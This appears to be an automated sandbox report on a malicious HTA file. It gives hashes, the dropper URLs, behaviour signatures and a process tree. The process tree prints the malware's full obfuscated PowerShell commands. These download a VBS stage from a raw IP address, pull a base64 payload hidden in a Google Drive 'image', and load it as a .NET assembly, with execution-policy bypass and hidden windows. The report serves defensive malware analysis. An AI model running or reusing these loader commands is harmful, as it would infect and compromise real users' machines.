Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07-11-2024 06:47

General

  • Target

    greatthingswithmegreatloverherehavewithmegreat.hta

  • Size

    207KB

  • MD5

    21bf484c8fe4564e1f0e0fc0aa522199

  • SHA1

    0bda2d5048d1555ef9ef50f4fd192c0838677c94

  • SHA256

    d1a5e6708ae70fff83f394f2fc5027d14e42fdb624c369662ebcd682cded0ac6

  • SHA512

    1dbf4a2f78b482b6d80eb48c9c2434a8907081a468c820ad9085fcede6134fe41c8c27a3e8f2ad7fa3f1d702e2b0904d885bfda8300ced9c4924c6e869e9baea

  • SSDEEP

    96:43F97gSlqxRtwJPcEI/MOoMQbvfhKGAfQ:43F1OxvmUxevfU3Q

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingswithmegreatloverherehavewithmegreat.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\SysWOW64\winDOwSPOWERsHeLl\v1.0\poWERSHElL.EXe
      "C:\Windows\SySTEM32\winDOwSPOWERsHeLl\v1.0\poWERSHElL.EXe" "poWErSheLl.EXe -Ex ByPAsS -noP -W 1 -c DEviCECReDEntiaLdeployMeNT ; iEx($(IEX('[SYStEm.tExT.eNCoDiNG]'+[CHAR]58+[chAR]58+'UTf8.GEtSTRinG([SYSTem.convERT]'+[char]58+[char]0x3a+'FRoMbaSe64string('+[chAr]34+'JEY2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUkRFZkluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSmtnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVudktEYVVrdUgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWG9XdEQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpaVh2ZEYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNWWNsQ2xJSEdibiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbk51UElVamZUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRGNjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzMuNC4yMy83OS9zZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0bWFnaWNhbHRoaW5nc3dpdGhoZXJsb3Zlci50SUYiLCIkRW5WOkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc3dpdGhncmVhdG1hZ2ljYWx0aGluZ3N3aXRoaGUudmJzIiwwLDApO3NUYXJULXNMRWVQKDMpO1NUYVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0bWFnaWNhbHRoaW5nc3dpdGhoZS52YnMi'+[ChAR]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPAsS -noP -W 1 -c DEviCECReDEntiaLdeployMeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\43yfvjow.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1D03.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1D02.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1636
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithgreatmagicalthingswithhe.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1260
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCcxamdpbScrJ2FnZVVybCA9IDViSmh0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmMnKydvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQnKyc9MVV5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIDViSjsxamd3ZWJDbGllbnQgPSBOZScrJ3ctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OzFqJysnZ2ltYWdlQnl0ZXMgPSAxamd3ZWJDbGllbnQuRG93bmxvYWREYXRhKDFqZ2ltYWdlVXJsKTsxamdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOicrJzpVVEY4LkdldFN0cmluZygxamdpbWFnZUJ5JysndGVzKTsxamdzdGFydEZsYWcgPSAnKyc1Yko8PEJBU0U2NF9TVEFSVD4+NWJKOzFqZ2VuZEZsYWcgPSA1Yko8PCcrJ0JBU0U2NF9FTkQ+PjViSjsxamdzdGFydEluZGV4ID0nKycgMWpnaW1hZ2VUZXh0LicrJ0knKyduZGV4T2YoMWpnc3RhcnRGbGFnKTsxamdlbmRJbmRleCA9IDFqZ2knKydtYWdlVGV4dC5JbmRleE8nKydmKDFqZ2VuZEZsYWcpOzFqZ3N0YXJ0SW5kZXggLWdlICcrJzAgLWFuZCAxamdlbmRJbmRleCAtZ3QgMWpnc3RhcnRJbmRleDsxamdzdGFydEluZGV4ICs9IDFqZ3N0YXJ0RmxhZy5MZW5ndGg7MWpnYmFzZTY0JysnTGVuZ3RoID0gMWpnZW5kSW5kZXggLSAxamdzdGFydEluZGV4OzFqZ2JhJysnc2U2NENvbW1hbmQgPSAxamdpbWFnZVRleHQuU3Vic3RyaW5nJysnKDFqZ3N0YXJ0SW5kZXgsIDFqZ2Jhc2U2NExlbmd0aCk7MWpnYmFzZTY0UmV2ZScrJ3JzZWQgPSAtam9pbiAoMWpnYmFzZTY0Q29tbWEnKyduZC5Ub0NoYXJBcnJheSgpIDE1biBGb3JFYWNoLU9iamVjdCB7IDFqZ18gfSlbLTEuLi0oMWpnYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTsxamdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTYnKyc0U3RyaW5nKDFqZ2Jhc2U2NFJldmVyc2VkKTsxamdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06JysnOkxvYWQoMWpnY29tbWFuZEJ5dGVzKTsxamd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDViSlZBSTViSik7MWpndmFpTWV0aG8nKydkLkludm9rZSgxamdudWxsLCBAKDViSnR4dC5GQ0RSVy85Ny8zMi40LjM3MS43MDEvLzpwdHRoNWJKLCA1YkpkZXNhdGl2YWRvNWJKLCA1YkpkZXNhdGl2YWRvNWJKLCA1YicrJ0pkZXNhdGl2YWRvNWJKLCA1Ykphc3BuZXRfY29tcGlsZXI1YkosIDViSmRlc2F0aXZhZG81YkosIDViSmRlc2F0aXZhZG81YkosNWJKZGVzYXRpdmFkbzViSiw1YkpkZXNhdGl2YWRvNWJKLDViSmRlc2F0aXZhZG81YkosNWJKZGVzYXRpdmFkbzViSiw1YkpkZXNhdGl2YWRvNWJKLDViSjE1YkosNWJKZGVzYXRpdmFkbzViSikpOycpLlJlcGxhY0UoJzViSicsW1NUcklOZ11bQ2hhUl0zOSkuUmVwbGFjRSgoW0NoYVJdNDkrW0NoYVJdNTMrW0NoYVJdMTEwKSxbU1RySU5nXVtDaGFSXTEyNCkuUmVwbGFjRSgoW0NoYVJdNDkrW0NoYVJdMTA2K1tDaGFSXTEwMyksJyQnKXwgJiAoKGd2ICcqbWRyKicpLm5hTWVbMywxMSwyXS1KT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('1jgim'+'ageUrl = 5bJhttps:/'+'/drive.google.c'+'om/uc?export=download&id'+'=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 5bJ;1jgwebClient = Ne'+'w-Object System.Net.WebClient;1j'+'gimageBytes = 1jgwebClient.DownloadData(1jgimageUrl);1jgimageText = [System.Text.Encoding]:'+':UTF8.GetString(1jgimageBy'+'tes);1jgstartFlag = '+'5bJ<<BASE64_START>>5bJ;1jgendFlag = 5bJ<<'+'BASE64_END>>5bJ;1jgstartIndex ='+' 1jgimageText.'+'I'+'ndexOf(1jgstartFlag);1jgendIndex = 1jgi'+'mageText.IndexO'+'f(1jgendFlag);1jgstartIndex -ge '+'0 -and 1jgendIndex -gt 1jgstartIndex;1jgstartIndex += 1jgstartFlag.Length;1jgbase64'+'Length = 1jgendIndex - 1jgstartIndex;1jgba'+'se64Command = 1jgimageText.Substring'+'(1jgstartIndex, 1jgbase64Length);1jgbase64Reve'+'rsed = -join (1jgbase64Comma'+'nd.ToCharArray() 15n ForEach-Object { 1jg_ })[-1..-(1jgbase64Command.Length)];1jgcommandBytes = [System.Convert]::FromBase6'+'4String(1jgbase64Reversed);1jgloadedAssembly = [System.Reflection.Assembly]:'+':Load(1jgcommandBytes);1jgvaiMethod = [dnlib.IO.Home].GetMethod(5bJVAI5bJ);1jgvaiMetho'+'d.Invoke(1jgnull, @(5bJtxt.FCDRW/97/32.4.371.701//:ptth5bJ, 5bJdesativado5bJ, 5bJdesativado5bJ, 5b'+'Jdesativado5bJ, 5bJaspnet_compiler5bJ, 5bJdesativado5bJ, 5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJ15bJ,5bJdesativado5bJ));').ReplacE('5bJ',[STrINg][ChaR]39).ReplacE(([ChaR]49+[ChaR]53+[ChaR]110),[STrINg][ChaR]124).ReplacE(([ChaR]49+[ChaR]106+[ChaR]103),'$')| & ((gv '*mdr*').naMe[3,11,2]-JOIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1052

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\43yfvjow.dll

    Filesize

    3KB

    MD5

    7a90f139e0f2d6df7739ae81ce3ceb4a

    SHA1

    a0c2a7aa3fe268f8f9e09c7dff1f0dc08d30fff6

    SHA256

    a8f0b9f4eb2608732523c5759a2d4c43b97924d70d86a5ec69a5f490ac969ff8

    SHA512

    41b822a4e3b3a2ab7c7f8d00bb858c4cfe0502245d844d237c924c34e8e31117784275eb7a6a87411b34082d1e4d4d0035a5fa516e4aac95bb0fc6db492635a1

  • C:\Users\Admin\AppData\Local\Temp\43yfvjow.pdb

    Filesize

    7KB

    MD5

    9e2f4d6afb2064103b8816f4ca0b4f55

    SHA1

    1038cccfd1125eb79436118ffe8c91f74442f71e

    SHA256

    2ee1a92f8b546580fb7dccc8eb6c2ba9917e68b879193df9b3fb5ed5d319df89

    SHA512

    e6ce74a53e2016c5d3e1afd36c6d0ece9f3744c05933b9269fbba86cfc90746e2d4eed84d949d001f07a271fa873fca7e20c7b6bfac9a1b41accf53d7b083231

  • C:\Users\Admin\AppData\Local\Temp\RES1D03.tmp

    Filesize

    1KB

    MD5

    c8169c3cf6aedaad401557d6e188b771

    SHA1

    4a0efba4cf339d33300654a00cf18e7f097f519a

    SHA256

    6b3db580d945cf371a8c90cd238af7d1d04617021ed981f3f19994263f536e68

    SHA512

    1f95aa3c138bd0f744a41db7b649102597973b1f871a86cea5905a1c7baad427b49ba434f558673aee6c6efc8465b8c6ee947ad08d3bbb354fc45052cc4e4f4b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    e650fc03238e24351c824929aa594641

    SHA1

    ca32baa5ebc700e4dd7209e9dd107c4aefe4030c

    SHA256

    3494273ef71ec71e10c42afd1bc9fa338b35151ff24c79ad23bbc022682a72b2

    SHA512

    d3bbc14787f4c84be9f8dadf05ae61308857b1db07e0ab71ebc45969dc08e5ebc08c74f1027569c146511d6e4a81c2e8ddb7a5e07344d51a6f0939c3112e8f9e

  • C:\Users\Admin\AppData\Roaming\seethebestthingswithgreatmagicalthingswithhe.vbs

    Filesize

    138KB

    MD5

    3a172f4d749a3cf2a42e0b7df638c8d3

    SHA1

    071d3b7db5a649ec3252af5b5a21ed047e71c785

    SHA256

    fe03066a9d3659d5f1e5941c7a73646780d55d15a57a9dde5901f469db2ead72

    SHA512

    30cc1c96d8cae17800f33f63d7ef8965536051ee7ec683b45e5c62079bf9487785ccc9b8ae8ab073f25f9059f1bbf84f73f8c8ff68c807c0e7007d597dced0d7

  • \??\c:\Users\Admin\AppData\Local\Temp\43yfvjow.0.cs

    Filesize

    480B

    MD5

    02801ca1be5cf5616a9f398c85c263db

    SHA1

    e9000f0b5cd0dceb296fb59f9ed2c85717666377

    SHA256

    6d63144887d63ca3c8794b18c2e2283a7f5e6fdc5355fb24c0c3e7d11a172586

    SHA512

    4a27658c15203dd2122759a70db7f2917eb7a8899f9590f80a01b95d55a0631d0fce21d1ca6c9ec4111aabb7d9bdb9396f6483e42bb10850e9a9305d21616902

  • \??\c:\Users\Admin\AppData\Local\Temp\43yfvjow.cmdline

    Filesize

    309B

    MD5

    b295660ac83eaf1b6a1724f74ee38ec2

    SHA1

    cadb4ea519669c8f490e0cc0579b87bde56722a6

    SHA256

    9616772c0743ca337f18f0e050fd45e8e493627546542f682bad3c9a718ca877

    SHA512

    a82e0d239db5b453121cc6c4c646732669762d36a47282a68fb3d0ff393082d40350bd027902240db9478366d1a6cfe7acb72f9e1b04a6bb46d03700186189b7

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC1D02.tmp

    Filesize

    652B

    MD5

    311a80dcd6f97a7d3239102c2355b515

    SHA1

    75eaf4757d2403ba615144b6c45a1713dd3f906f

    SHA256

    7c8965d454b85b895ae54df0717ab4b4288fb6ab814164e5c4368bd14e3f5bce

    SHA512

    8f6453c934e2adc8c59abbcc910b4780ccab5f48dda9a4e6da925ebf385ec3d5a7c2960ae750f767cbd10868395be91f998b2a8696ccf76d251763d2aa6138d6